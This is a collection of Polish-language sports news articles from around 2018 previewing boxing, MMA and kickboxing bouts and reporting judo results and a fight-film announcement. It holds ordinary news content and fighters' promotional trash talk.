Martin na drodze Kownackiego

Adam Kownacki nie ukrywa swoich ambicji. 8 września popularny "Babyface" zmierzy się w Barclays Center z byłym mistrzem świata IBF Charlesem Martinem. Kownacki ma świadomość, że czeka go najważniejsza walka w karierze.

29-latek zmierzy się z Charlesem Martinem, którego wielu nazywa przypadkowym mistrzem świata. Warto przypomnieć, że Amerykanin tytuł zdobył w starciu z Wiaczesławem Głazkovem w dość nietypowych okolicznościach. W styczniu 2016 roku w Barclays Center pięściarze rywalizowali o pas IBF. Głazkov miał pecha. W trzeciej rundzie poślizgnął się i skręcił kolano. Mimo bólu próbował walczyć, ale kolejny upadek sprawił, że Ukrainiec zrezygnował z dalszej rywalizacji. Martin wygrał wobec kontuzji rywala, a tytuł stracił już w kolejnej walce, kiedy to na jego drodze stanął Anthony Joshua.

Z pewnością Amerykanin jest bardziej rozpoznawalny, ale obserwatorzy podkreślają, że poza Głazkovem i Joshuą nie miał większych wyzwań w karierze. Zatem jest do ugryzienia przez Kownackiego. Zwłaszcza, że Polak ma mocny cios i jest żywiołowy. Kownacki rusza do przodu, nie kalkuluje, co sprawia, że jego walki ogląda się z ogromnym zainteresowaniem. O atutach 29-latka można mówić wiele, ale nie brakuje spostrzeżeń na temat jego sylwetki. Kownacki nie ma figury atlety, jednak nie stanowi to dla niego problemu. W dotychczasowych 17 walkach nikt nie był w stanie go pokonać, a Polak aż 14 razy wygrał przed czasem.

Charles Martin jest o 5 cm wyższy od Polaka i ma większy zasięg ramion. Amerykanin wygrał 25 walk, z których 23 przed czasem. Ostatnio mierzył się z Byronem Polley'em i Michaelem Marrone. Warto podkreślić, że z tym rywalizował w lipcu 2017 roku. Martin wraca po ponad rocznej przerwie, więc jego forma jest zagadką.

Kownacki pokonując Artura Szpilkę stał się polską nadzieją wagi ciężkiej. 29-latek stanie przed największą szansą w karierze. Martin nie ułatwi mu zadania, ponieważ również cały czas po głowie chodzą mu myśli o tytule mistrzowskim. Jednak Kownacki ma cel, którym jest szczyt wagi ciężkiej. Martin uchodzi za faworyta, ale gorące polskie serce gotowe do walki może pokrzyżować mu plany. 8 września w Barclays Center będzie ciekawie.

Fot. Adam Kownacki Facebook

KM

Mistrzowska szansa Strusa

Chciałoby się powiedzieć, że w końcu. 8 września na gali ACB 89 w Krasnodarze Piotr Strus stanie przed szansą na wywalczenie mistrzowskiego pasa w kategorii średniej. Jego rywalem będzie Albert Duraev.

Dobre występy 30-letniego zawodnika z Warszawy sprawiły, że stał się kandydatem do pasa w kategorii średniej. Wszystko było już dopięte na ostatni guzik, strony się porozumiały, a termin został wyznaczony. Tylko jak lawina pojawiały się informacje o odwołanych galach ACB. Do skutku nie doszły wydarzenia w Londynie i Malmo. Jak zwykło się mawiać, "co się odwlecze, to nie uciecze". 8 września Piotr Strus stanie "oko w oko" w mistrzem kategorii średniej Albertem Duraevem w Krasnodarze.

Piotr Strus zapracował na walkę o pas mistrzowski czterema zwycięstwami oraz… nierozstrzygniętym starciem. Warto wrócić do sytuacji z werdyktem po pojedynku Polaka z Mikhailem Kolobegovem. Sędziowie wskazali na Rosjanina, jednak Strus nie był zadowolony z decyzji oceniających i złożył odwołanie. Ostatecznie werdykt zmieniono na no contest. Kolejne trzy walki to pokaz umiejętności Polaka, który przed czasem pokonał Andy'ego DeVenta oraz Nikolę Dipchikova. W maju Strus uporał się z Fernando Gonzalezem, czym utorował sobie drogę do starcia o pas mistrzowski.

W Krasnodarze na 30-latka będzie czekał Albert Duraev, który pas zdobył w grudniu 2017 roku pokonując Vyacheslava Vasilevsky'ego. Rosjanin w ekspresowym tempie uporał się z rywalem. Warto dodać, że Duraev był również posiadaczem pasa w kategorii do 77kg. Rosjanin może pochwalić się imponującą serią siedmiu zwycięstw z rzędu, w tym aż sześciu przed czasem.

Strus prezentuje się znakomicie w ACB i wygrana z Duraevem byłaby swego rodzaju „wisienką na torcie”. W Krasnodarze zobaczymy również Daniela Omielańczuka. Dla 36-latka, który ma za sobą przygodę z UFC będzie to drugi występ w ACB. W debiucie Polak efektownie uporał się z Bobby'm Brentsem. Najbliższym rywalem Omielańczuka będzie Irańczyk Amir Aliakbari, który ma serię trzech zwycięstw z rzędu. W marcu na ACB 83 pokonał Denisa Smoldareva.

W Krasnodarze dojdzie również o starcia o pas kategorii półśredniej pomiędzy Ciro Rodriguesem a Albertem Tumenovem. Tytuły w wadze lekkiej będzie bronił Adbul-Aziz Abdulvakhabov, który zmierzy się z Alim Bagovem.

Fot. Piotr Strus Facebook

KM         

DSF 17: Jenel vs Ruta 2. Noc rewanżów, kto naprawdę jest najlepszy?

Ich pierwsze starcie było najlepszą walką 2017 roku. Teraz dojdzie do wielkiego rewanżu. 29 września w pojedynku wieczoru gali DSF 17 w Częstochowie Kamil Jenel po raz drugi zmierzy się z Kamilem Rutą. Zwycięzca zejdzie z ringu z mistrzowskim pasem federacji DSF Kickboxing Challenge oraz mianem króla K-1 w kategorii do 81 kg.

Bez cienia wątpliwości panujący czempion Kamil Jenel (26-5) i pretendent do pasa a zarazem były mistrz Kamil Ruta (12-1) to dwaj najlepsi zawodnicy K-1 w kategorii do 81 kilogramów w Polsce. 29 września 2017 roku na gali DSF Eliminator w Ząbkach stoczyli pasjonującą pięciorundową bitwę, po której tytuł mistrzowski zmienił właściciela, a Ruta zanotował pierwszą porażkę w karierze. Dokładnie 365 dni później dojdzie do wielkiego rewanżu.

Na ten moment czekałem cały rok. Nadchodzi czas zemsty – zapowiada 25-letni Ruta, amatorski mistrz Europy i świata. – To był dla mnie okres ogromnych zmian, opracowałem nowy tryb przygotowań. Byłem silny, a teraz jestem potężny. Nie chcę tylko wygrać, chcę go upokorzyć!

""

Od czasu pierwszej walki Ruta zmienił klub i narożnik. Już jako zawodnik Copacabana Warszawa Kamil odniósł dwa pewne zwycięstwa. W grudniu znokautował w 1. rundzie Dawida Mirkowskiego na gali DSF 12, a w kwietniu na DSF 14 po znakomitym widowisku pokonał na punkty wielokrotnego mistrza świata Yohana Lidona z Francji, zapewniając sobie rewanż z Jenelem.

Obecny posiadacz pasa DSF Kickboxing Challenge nie widzi żadnego zagrożenia w drugiej walce z Rutą. Popularny na Śląsku Jenel zamierza ponownie rozbić młodszego rywala i przedłużyć najlepszą w karierze passę zwycięstw do trzynastu.

Przed pierwszą walką Ruta opowiadał, że jest w życiowej formie, teraz mówi to samo – zauważa podopieczny trenera Witolda Kostki z klubu Paco Katowice. – Spotka go jeszcze gorsza klęska niż wtedy. Chłopcy dużo szczekają, ale mężczyzn poznaje się po czynach.

Pierwsza walka od razu została okrzyknięta przez media i kibiców najlepszym pojedynkiem K-1 2017 roku. Można ją zobaczyć w całości na YouTube. Teraz obaj zawodnicy podwyższają poprzeczkę i chcą postarać się o nokaut roku.

Szkoda tylko, że ta walka nie odbywa się na jego podwórku, ale Częstochowa to też Śląsk. Niech przywiezie jak najwięcej swoich kibiców i niech z bliska oglądają jego klęskę. Nie boję się go. Zakończę jego karierę i wróci kopać węgiel w kopalni, a prawowity król powróci na tron! – zapewnia Kamil Ruta.

""

Jenel w swoim stylu wyśmiewa wojownicze zapowiedzi pretendenta. Jego zdaniem Ruta przestraszył się przed pierwszą walką i podobny respekt poczuje również w rewanżu.

Poprzednim razem widziałem strach w jego oczach i myślę, że ten ostatni rok nie zrobił z niego mężczyzny. Między nami jest znacząca różnica. Ja jestem zawodowcem, a on pozostał amatorem. 29 września ziemia w Częstochowie się zatrzęsie. Powiedziałem, że trafi na OIOM. Podtrzymuję to, ale po walce wybiorę się z ekipą na Jasną Górę i pomodlę się o jego powrót do zdrowia – kończy pewny siebie mistrz federacji DSF.

Na gali DSF 17 w Częstochowie dojdzie także do rewanżowego meczu międzynarodowego Polska-Czechy. Poprzednie spotkanie zakończyło się zwycięstwem naszych południowych sąsiadów 3:2, dlatego tym razem biało-czerwoni wystawiają do walki mistrzowski skład: Mateusz „Rzeźnik” Rajewski (65 kg), Patryk Radoń (71 kg), Adam „Polish Psycho” Gielata (71 kg), Paweł Biszczak (75 kg) i Dawid „Mirko” Mirkowski (81 kg).

To jeszcze nie koniec wielkich emocji! W swoim trzecim występie dla federacji DSF o pas mistrzyni w kategorii do 65 kilogramów powalczy nowa królowa polskiego kickboxingu Róża Gumienna, która zmierzy się ze znakomitą Cristiną Caruso. Będzie to rewanż za wygrany przez Włoszkę dramatyczny finał mistrzostw Europy K-1 z 2016 roku.

Bilety na galę DSF 17: Jenel-Ruta 2 są dostępne w sprzedaży na DSFTicket.com w cenie od 30 PLN. Impreza odbędzie się 29 września w Hali Polonia w Częstochowie. Początek o godzinie 18:30 (otwarcie bramek o 18:00).

Full fight: Kamil RUTA vs Kamil JENEL | DSF Eliminator

DSF Eliminator (29.09, Ząbki), walka wieczoru: Kamil Ruta kontra Kamil Jenel. Co to była za wojna! Mistrzowskich pięć rund. Emocje od pierwszego do ostatniego gongu. Tu nikt nie kalkulował, cios za cios bez wytchnienia, by zdobyć lub obronić pas DSF Kickboxing Challenge w kategorii – 81 kg. Najlepsza reklama kickboxingu spod szyldu DSF Kickboxing Challenge!

[kod]

Wygrana przepustką do walki o pas

8 września w Dallas na UFC 228 Karolina Kowalkiewicz zmierzy się z Jessicą Andrade. Zwyciężczyni pojedynku prawdopodobnie dostanie szansę rywalizacji o pas mistrzowski kategorii słomkowej.

32-letnia zawodniczka urodzona w Łodzi ma w końcu szansę wyjść z cienia Joanny Jędrzejczyk. Do niedawna "JJ" była gwiazdą pierwszego planu. W marcu 2015 roku zdobyła tytuł mistrzyni UFC i pięciokrotnie skutecznie go broniła. Pas próbowała odebrać jej Kowalkiewicz, jednak przegrała decyzją sędziów. Jędrzejczyk straciła tytuł w lipcu 2017 roku na rzecz Rose Namajunas. Z Amerykanką walczyła również Kowalkiewicz, jednak starcie miało miejsce w lipcu 2016 roku w Atlancie. Jedynie w pierwszych minutach zawodniczki bacznie się obserwowały, a później ich aktywność wzrosła i prezentowały liczne ciosy oraz sprowadzenia. Ostatecznie niejednogłośną decyzją sędziów wygrała Polka. Czy Kowalkiewicz ponownie dostanie szansę walki z Namajunas? Wszystko zależy od zbliżającego się pojedynku z Jessicą Andrade na UFC 228.

W Dallas spotkają się czołowe zawodniczki kategorii słomkowej. Brazylijka zajmuje 2. miejsce w rankingu UFC, zaś Polka sklasyfikowana jest dwie pozycje niżej. O tym starciu mówiło się od dłuższego czasu, jednak od "słów do czynów" nie zawsze krótka droga. Jedna i druga twierdziły, że rywalka nie chce wejść do oktagonu, a przyczyną jest… strach. W końcu w lipcu starcie Kowalkiewicz z Andrade dodano do karty walk UFC 228.

Andrade może pochwalić się większym doświadczeniem w amerykańskiej organizacji niż Kowalkiewicz, jednak na szansę walki o pas musiała czekać dłużej niż Polka. Brazylijka również poległa w starciu z Joanną Jędrzejczyk. Po porażce z Polką zanotowała dwie wygrane – z Claudią Gadelhą i Tecią Torres. Podobnie Kowalkiewicz, która pokonała Jodie Esquibel i Felice Herrig. W przypadku łodzianki należy mówić o świetnej kondycji i wytrzymałości. Dotychczas w UFC stoczyła siedem pojedynków i aż sześć toczyła na pełnym dystansie (w tym przegrany z Jędrzejczyk). Andrade jest groźna i niezwykle silna, a przy tym wytrzymała. Brazylijka potrafi zmusić rywalkę do poddania, ale nie sprawia jej problemu zmęczenie przeciwniczki na pełnym dystansie.

Kowalkiewcz stanie przed trudnym wyzwaniem. Jeśli wygra, wykona ważny krok w kierunku walki o pas. Namajunas ma już na rozkładzie, a więc może jeszcze kiedyś zobaczymy dwie Polki w walce o tytuł?

W pojedynku wieczoru gali UFC 228 w Dallas Tyron Woodley będzie bronił pasa wagi półśredniej spotka się z niepokonanym Darren'em Till'em.

Fot. Karolina Kowalkiewicz Facebook

KM

Polacy poznali rywali w WBSS

W drugiej edycji turnieju World Boxing Super Series w wadze junior ciężkiej zobaczymy Krzysztofa Głowackiego i Mateusza Masternaka. Były mistrz świata zmierzy się z Maksimem Własowem, z kolei "Master" stanie do rywalizacji z Yunierem Dorticosem.

Triumfatorem tegorocznej edycji w wadze junior ciężkiej został Oleksandr Usyk, który na Stadionie Olimpijskim w Moskwie pokonał Murata Gassijewa. Tym samym Ukrainiec stał się posiadaczem czterech pasów mistrzowskich – IBF, WBA, WBC i WBO. W turnieju zaprezentował się również Krzysztof Włodarczyk. "Diablo" pożegnał się z rywalizacją w ćwierćfinale przegrywając z Gassijewem.

W drugiej edycji WBSS zmagania będą toczyły się w trzech kategoriach wagowych – koguciej, junior półśredniej i junior ciężkiej. W tej ostatniej zobaczymy Krzysztofa Głowackiego i Mateusza Masternaka. 32-latek z Wałcza stoczył w tym roku dwie walki. W lutym na punkty pokonał Siergieja Radczenkę, zaś w maju w pierwszej rundzie znokautował Santandera Silgado. Ćwierćfinałowym rywalem Głowackiego będzie Maksim Własow, który ma na koncie 42 wygrane pojedynki. Na znacznie trudniejszego rywala trafił Mateusz Masternak. Posiadacz pasa WBO European zmierzy się z Yunierem Dorticosem, który w pierwszej edycji turnieju dotarł do półfinału, gdzie z 12. rundzie został znokautowany przez Gassijewa i stracił tytuł WBA. W ćwierćfinale Kubańczyk ekspresowo rozprawił się z Dmitrijem Kudriaszowem.

Ponownie w WBSS wystąpi Mairis Briedis, który w tym roku dotarł do półfinału. W Rydze musiał uznać wyższość Oleksandra Usyka. Tym razem rywalizację w WBSS Łotysz rozpocznie od starcia z Noelem Mikaelianem. Z kolei w ostatnim ćwierćfinale spotkają się Andrew Tabiti i Rusłan Fajfer.

W wadze koguciej Ryan Burnett będzie bronił pasa WBA w starciu z Filipińczykiem Nonito Donaire. O tytuł WBO powalczą Zolani Tete i Michaił Alojan. Dla południowoafrykańskiego boksera będzie to trzecia obrona pasa. Emmanuel Rodriguez w pojedynku z Jasonem Moloney'em na szali położył tytuł IBF. Ostatnią parę ćwierćfinałową tworzą Naoya Inoue i Juan Carlos Payano.

Z kolei w kategorii junior półśredniej emocjonująco zapowiada się pojedynek Iwana Baranczyka i Anthony'ego Yigita o wakujący tytuł federacji IBF. Pasa WBA będzie bronił Kiryl Relich, który spotka się z Eduardem Trojanowskim. Pozostałe pary tworzą Josh Taylor i Ryan Martin oraz Regis Prograis i Terry Flanagan.

Fot. Krzysztof Głowacki Facebook

KM

DSF 17 w Częstochowie. Mistrzowskie armaty Polaków na rewanż z Czechami!

29 września na gali DSF Kickboxing Challenge 17 w Hali Polonia odbędzie się rewanżowy mecz międzynarodowy w K-1 Polska-Czechy. W lutym w Hali Orbita we Wrocławiu nasi południowi sąsiedzi po zaciętej walce zwyciężyli 3:2. Teraz biało-czerwoni wystawią prawdziwie mistrzowski skład, by wyrównać rachunki w Częstochowie!

Międzynarodowe mecze K-1 stały się już tradycją na numerowanych galach federacji DSF Kickboxing Challenge. Prezes Sławomir Duba oraz dyrektor sportowy Robert Złotkowski dokładają wszelkich starań, by ściągać do Polski najlepszych kickbokserów z całej Europy i świata. Biało-czerwonych barw również bronią najlepsi z najlepszych. Lutowy mecz Polska-Czechy okazał się takim szlagierem, że rewanż był tylko kwestią czasu. Jakim wynikiem zakończy się bitwa o Częstochowę?

Jako pierwszy z Polaków do ringu wyjdzie wicemistrz świata amatorów i wielokrotny mistrz kraju Mateusz Rajewski (65 kg), który w ostatnim występie zadał pierwszą porażkę Wojciechowi Kazieczko. W następnym pojedynku wystąpi zdobywca Pucharu Świata i Europy w K-1 Patryk Radoń (71 kg). W trzeciej walce pokaże się pewnie zmierzający w stronę mistrzowskiego pasa federacji DSF Adam Gielata (71 kg) – mistrz świata K-1 z 2017 roku. Po nim swoją walkę stoczy znakomity weteran Paweł Biszczak (75 kg), a w piątym pojedynku do ringu wyjdzie niezawodny Dawid „Mirko” Mirkowski (81 kg).

""

Po rewanżowym meczu Polska-Czechy czekają nas już tylko trzy walki mistrzowskie. W pierwszej z nich częstochowianin Norbert „Azja” Anzorge powalczy o pas mistrza Polski PZKB w kategorii do 91 kilogramów. W kolejnym pojedynku nowa królowa polskiego kickboxingu Róża Gumienna stanie do walki o pas mistrzyni DSF w wadze do 65 kg.

Pojedynkiem wieczoru będzie wyczekiwane przez kibiców rewanżowe starcie śląskiego mistrza kategorii do 81 kg Kamila Jenela (26-5) z warszawiakiem Kamilem Rutą (12-1). Ich pierwsza batalia odbyła się dokładnie przed rokiem w Ząbkach na gali DSF Eliminator. Dość nieoczekiwanie Jenel zdetronizował niepokonanego wcześniej czempiona, wygrywając jednogłośnie na punkty po pięciorundowej wojnie. Walka została okrzyknięta najlepszą w 2017 roku.

Od czasu pierwszego spotkania w ringu zdeterminowany Ruta zwyciężał dwukrotnie – w grudniu na gali DSF 12 efektownie znokautował w 1. rundzie Dawida Mirkowskiego, a w kwietniu podczas DSF 14 pokonał legendę kickboxingu i Muay Thai – wielokrotnego mistrza świata Yohana Lidona. Jenel również ma znakomitą passę – w trzech ostatnich występach wygrywał z Eduardem Mirceą (DSF 12 – pierwsza obrona tytułu), Aleksandrem Żakarowem (DSF 14 – walka w meczu Polska-Rosja) i Eduardem Aleksanyanem (DSF 16 – druga obrona), za każdym razem prezentując swoje firmowe „śląskie tąpnięcie”.

Kamil Jenel jest dumnym mistrzem i wielkim wojownikiem, nigdy nie odmawia i nie unika żadnych wyzwań. Kamil Ruta tuż po porażce powiedział nam, że zrobi wszystko, by zasłużyć na ten rewanż i jest gotowy jechać na teren mistrza, by odzyskać swój pas. Wygrał w dobrym stylu dwie walki i dostanie upragnioną szansę. Obaj są godni miana mistrza, ale tylko jeden z nich zejdzie z ringu z pasem – dodaje Robert Złotkowski, dyrektor sportowy federacji DSF.

Bilety na galę DSF 17 są dostępne w cenie od 30 PLN w serwisie DSFTicket.com. Transmisja na żywo z gali odbędzie się w telewizji Canal+ Sport.

Szykuje się druga edycja Narodowej Gali Boksu

W kwietniu 2019 roku odbędzie się druga edycja Narodowej Gali Boksu. Niebawem zaprezentowane zostaną nazwiska pięściarzy, którzy wejdą do ringu.

Pierwsza edycja imprezy odbyła się w maju na stadionie PGE Narodowy w Warszawie. Oprócz boksu, podczas gali odbyły się pojedynki na zasadach K-1 i MMA. Na stadionie PGE Narodowy zaprezentowali się m.in. Ewa Piątkowska, Artur Szpilka, Izu Ugonoh, Marcin Najman, Rafał Jackiewicz, Piotr Hallman czy Tomasz Sarara. Smaku dodawał fakt, że konferansjerem Narodowej Gali Boksu był Michael Buffer.

Część walk budziła ogromne emocje i wyglądała interesująco. Tak jak starcie Rafała Jackiewicza z Robertem Świerzbińskim czy Norberta Dąbrowskiego i Roberta Talarka. Po blisko rocznej przerwie udany powrót zaliczył Artur Szpilka, który pokonał Dominicka Guinna. Ale nie brakowało też… dziwnych i niespodziewanych momentów. Po dwóch rundach Fred Kassi odmówił dalszej walki z Ugonohem z powodu bólu głowy. Słabo wypadł również Marcin Najman, który był zawodnikiem i organizatorem. W czwartej rundzie sędzia przerwał walkę ze względu na kontuzję Polaka. Gala spotkała się z falą krytyki. Marcin Najman zebrał wiele cierpkich słów odnośnie poziomu sportowego, frekwencji, przygotowania imprezy. Organizator odniósł się do krytyki. – Na trybunach zasiadło dokładnie 17894 osób. A to oznacza, że jest to drugi w historii wynik oglądalności boksu zawodowego w Polsce. Była to pierwsza Narodowa Gala Boksu. Wiele musimy poprawić. Ale już dziś zapowiadam Wam, że otwieramy Fundację im. Jerzego Kuleja, która będzie wspierała Polski Boks Narodowy oraz coroczny projekt Narodowa Gala Boksu – prezentował Najman po majowej gali.

Jak powiedział, tak też ma zamiar zrobić. Marcin Najman zapowiada kolejną edycję Narodowej Gali Boksu. – W kwietniu kolejna Narodowa Gala Boksu organizowana przez ND Promotion. Pierwsze nazwiska przedstawimy podczas konferencji prasowej, która już we wrześniu –poinformował za pośrednictwem Facebooka. Najman zapewnił również, że anonserem ringowym pozostanie Michael Buffer.

Zebrane doświadczenia mogą być cennym materiałem do pracy nad kolejną odsłoną Narodowej Gali Boksu. Marcin Najman chce kontynuować swój projekt i udoskonalać go. W kwietniu będzie można obiektywnie ocenić, czy organizator wyciągnął właściwe wnioski z pierwszego podejścia.

Fot. Marcin Najman Facebook

KM

Smith rywalem Szostaka w Londynie

Akop Szostak szykuje się do debiutu w federacji KSW. Na gali w Londynie, która odbędzie się 6 października rywalem Polaka będzie John Smith.

30-letni Szostak będzie chciał zanotować czwartą wygraną w MMA. Zawodnik po raz ostatni zaprezentował się w kwietniu na gali WCA 4 – Fight Night, podczas której zmierzył się z Wojciechem Balejko. Szostak po półtorarocznej przerwie udanie powrócił do MMA i wygrał w drugiej rundzie. Wcześniej zawodnik urodzony na Białorusi rywalizował na galach organizacji FEN, jednak ze zmiennym szczęściem. Z trzech walk wygrał tylko jedną. Na początku czerwca Szostak podpisał umowę z KSW. – Było to moje marzenie – podkreślał zawodnik. Szostak zapewnia, że jest zmotywowany przed debiutem w KSW. 6 października w Londynie zmierzy się z Johnem Smithem. – Mistrzem stójki nigdy nie będę… genetyki nie oszukam, ale serca na walce mi nie zabraknie! – napisał Szostak na Facebooku.

Rywal 30-latka na KSW 45: The Return to Wembley jest związany ze sportami walki od ośmiu lat. Smith może pochwalić się tytułem mistrza wagi ciężkiej The United Kingdom Boxing Union w Londynie. W MMA zadebiutował rok temu i dotychczas stoczył trzy pojedynki, które zakończyły się po jego myśli. John Smith jest niezwykle niebezpieczny i do bólu skuteczny. Do pokonania trzech rywali potrzebował niespełna 2,5 minuty.

Co czeka nas w Londynie?

Głównym wydarzeniem październikowej gali KSW będzie starcie o pas mistrzowski w wadze ciężkiej. W pierwszej obronie Philip De Fries zmierzy się z byłym czempionem Karolem Bedorfem. 32-letni Anglik w debiucie w KSW pokonał w pierwszej rundzie Michała Andryszaka. Z kolei Bedorf ostatnio pokonał Mariusza Pudzianowskiego.

Interesująco zapowiada się turniej wagi średniej. Zwycięzcy zmierzą się o pas, który zwakował Mamed Khalidov. Były mistrz Michała Materla spotka się z niezwykle groźnym Damianem Janikowskim. Z kolei mocny Scott Askham podejmie mającego na koncie cztery zwycięstwa w KSW Marcin Wójcika.

Gorąco będzie również w kategorii półśredniej, gdzie dojdzie do rewanżowego starcia Dricusa du Plesissa z Roberto Solidiciem. 24-latek z Pretorii na KSW odebrał pas mistrzowski Chorwatowi.

Fot. Akop Szostak Facebook

KM

Wróżenie z fusów

Choć dopiero planowany, już rozbudza wyobraźnię i jest głównym tematem dyskusji wśród bokserskich ekspertów. Pojedynek mistrza świata WBC Deontaya Wildera i Tysona Fury'ego ma być wielkim wydarzeniem. Prawdopodobnie walka odbędzie się w listopadzie bądź w grudniu, ale zewsząd słychać przewidywania. Eksperci bawią się we wróżki, a wszystko i tak zweryfikuje ring.

Wiadomo, że opinie i analizy są niezwykle istotne. Na ich podstawie można wysnuć właściwe wnioski i odpowiednio przygotować się do wyzwania, w tym wypadku walki. Wiadomo, że walka Wildera z Fury’m będzie hitem. Bez dwóch zdań. Z pewnością sportowym, ponieważ obaj są niepokonani na zawodowym ringu i niejednokrotnie pokazali klasę. Ktoś może powiedzieć o niedawnych problemach olbrzyma z Wilmslow i jego powolnym powrocie do formy, jednak zapach pasa mistrza świata i pojedynek, który sobie wymarzył może być największą z możliwych mobilizacją do sięgnięcia wyżyn. Wiadomo, że Wilder jest mocny i skuteczny. Zapewne liczył na starcie z Joshuą, jednak ten zmierzy się we wrześniu z Aleksandrem Powietkinem. Z kolei Wilder walczył w marcu i pokonał Luisa Ortiza. Jesienią chciałby stoczyć kolejny pojedynek i na horyzoncie pojawia się Fury. Panowie spojrzeli sobie w oczy po zwycięstwie Brytyjczyka w starciu z Francesco Pianetą.

Walka ma zostać ogłoszona lada dzień. Na obecną chwilę faworytem wydaje się Wilder, który posiada pas i rozbija kolejnych rywali. Fury wraca do formy po dłuższej przerwie. Co prawda wygrał dwie walki, ale nie porwał publiczności. W pogromcę Władimira Kliczko wierzy Lennox Lewis. – Fury zaskoczył mnie w przeszłości. Nie myślałem, że poradzi sobie z Kliczko, ale dał radę – powiedział były mistrz świata w wadze ciężkiej. – Niektórzy potrafią stanąć na wysokości zadania i on kimś takim jest – dodał.

Lewis nie jest odosobniony w swojej opinii. Również Ricky Hatton wysoko ocenia możliwości Fury'ego. – Wilder wygrywa nokautując rywali, ale to Tyson wykorzystuje ich błędy. Fantastyczne zestawienie stylów. Według mnie na punkty wygra Fury – przewiduje były mistrz świata IBF w kategorii lekkopółśredniej.

Pewny swego, jak zawsze, jest Fury. Jego zdaniem Wilder pokonywał rywali, których umiejętności nie były najwyższe bądź mieli słuszny wiek (Ortiz). – Przejmiemy Las Vegas. Wrócę z pasami – zapowiada Fury.

Warto również wspomnieć o kwestii finansowej. Deontay Wilder zgodził się na równy podział zysków z walki.

Fot. Deontay Wilder Facebook

KM

Mamed Khalidov i Eryk Lubos zmierzą się w "Underdogu"

„Underdog” to historia inspirowana prawdziwymi wydarzeniami. Na ich podstawie powstał scenariusz autorstwa Mariusza Kuczewskiego. Borys „Kosa” Kosiński (Eryk Lubos) to zawodnik MMA, który jest u szczytu formy. W najważniejszej walce ze swoim największym rywalem Denim Takaevem (Mamed Khalidov) popełnia błąd, który przekreśla jego karierę. Traci wszystko. 

„Underdog” to opowieść o słabościach i sile człowieka, zwątpieniu, które pokonuje rodząca się miłość, o walce z przeciwnościami losu i podniesieniu po upadku, poświęceniu, rodzinie i przyjaźni. MMA, czyli mieszane sztuki walki, to sport, który budzi ogromne emocje. Zawodnicy walczą w klatkach i używają każdej dozwolonej techniki, by pokonać przeciwnika. „Underdog” to pełnokrwisty obraz kulis sportowego świata oczami zawodnika. 

W fabule oprócz Eryka Lubosa i Mameda Khalidova pojawi się gwiazdorska obsada: Aleksandra Popławska, Tomasz Włosok, Janusz Chabior, Jarosław Boberek, Emma Giegżno, Mariusz Drężek. Dla Mameda Khalidova, międzynarodowego mistrza KSW w wadze półciężkiej z 2009 oraz w wadze średniej z 2015, występ w filmie to debiut aktorski. 

Partnerem i konsultantem produkcji jest Federacja KSW, lider europejskiego rynku MMA. Na swoim koncie ma 50 gal na światowym poziomie, ponad 300 zawodników i milionowe oglądalności transmisji telewizyjnych w Polsce i na świecie.  

„UNDERDOG” – PREMIERA W STYCZNIU 2019 ROKU 

W rolach głównych: Eryk Lubos, Mamed Khalidov, Aleksandra Popławska, Tomasz Włosok, Janusz Chabior, Emma Giegżno 
REŻYSERIA: Maciej Kawulski, Konrad Niewolski
ZDJĘCIA: Bartosz Cierlica
PRODUCENT: Ewa Lewandowska, Tomasz Mandes – EKIPA Sp. z o.o. 
KOPRODUCENT: NEXT FILM.
DYSTRYBUTOR: NEXT FILM
PARTNER: MIASTO EŁK

Źródło: kswmma.com
Foto: Facebook Mamed Khalidov

Złoto raz, trzy o krok od sukcesu

Rywalizacja European Open w judo w Mińsku zakończona. Sukces odniosła Julia Kowalczyk (57kg), która zdobyła złoty medal. Tuż za podium Arleta Podolak (57kg), Urszula Hofman (78kg) i Anna Załęczna (+78kg).

Mińsk będzie miłym wspomnieniem dla Julii Kowalczyk. To pierwszy triumf judoczki Polonii Rybnik w międzynarodowych zawodach. Rywalizacją w Mińsku Polka rozpoczęła od wygranej z Myriam Blavier. Następnie Kowalczyk odprawiła Holenderkę Dewy Karthaus, a w półfinale spotkała się z drugą zawodniczką tegorocznego Pucharu Europy juniorów w Gdyni Ulyaną Minenkovą. 20-letnia Polka w mgnieniu oka uporała się z Białorusinką i awansowała do finału. O złoto rywalizowała z Belgijką Miną Libeer, z którą przegrała w półfinale Pucharu Europy w Saarbrucken. Tym razem lepsza okazała się Kowalczyk. To drugie podium Polki w tym roku. W lipcu wywalczyła brąz w Saarbrucken.

Po triumfie w Warszawie na kolejny sukces liczyła Arleta Podolak. Początek zawodów w Mińsku w wykonaniu Polki był znakomity. Dwie wygrane walki dawały nadzieję na sukces, jednak Podolak zatrzymała Niemka Pauline Starke. Polka poradziła sobie w repasażach, ale w starciu o brąz triumfowała Ulyana Minenkova.

Urszula Hofman była o krok, aby po raz trzeci w tym roku stanąć na podium, a dokładniej na jego… trzecim stopniu. 23-latka zdobywała medale w Limie i Buenos Aires. W Mińsku wygrała dwie walki, po drodze przegrała z Larissą Groenwold i stanęła do starcia o brąz, jednak lepsza okazała sie Omri Kenyon.

Również Anna Załęczna była blisko podium. W tym roku Polka wygrała zawody w Belgradzie i była trzecia w Madrycie. W Mińsku na jej drodze stanęła Vasylyna Kyrychenko i to Ukraina cieszyła się z brązowego medalu.

Warto również wspomnieć, że na siódmych pozycjach uplasowały się Karolina Tałach (63kg) oraz Daria Pogorzelec (70kg).

W klasyfikacji medalowej triumfowała Białoruś – trzy złote i dwa brązy. Za gospodarzami zawodów Rosjanie – 2, 4, 7 i Holandia – 2, 0, 4. Polska na siódmym miejscu.

Fot. eju.net

KM

Fury chce wykonać ważny krok

Tyson Fury wraca do bokserskiego życia. W czerwcu pokonał Sefera Seferiego, z kolei 18 sierpnia w Windsor Park w Belfaście zmierzy się z Francesco Pianetą. Jeśli olbrzym z Wimslow wygra, przybliży się do rywalizacji o tytuł wagi ciężkiej.

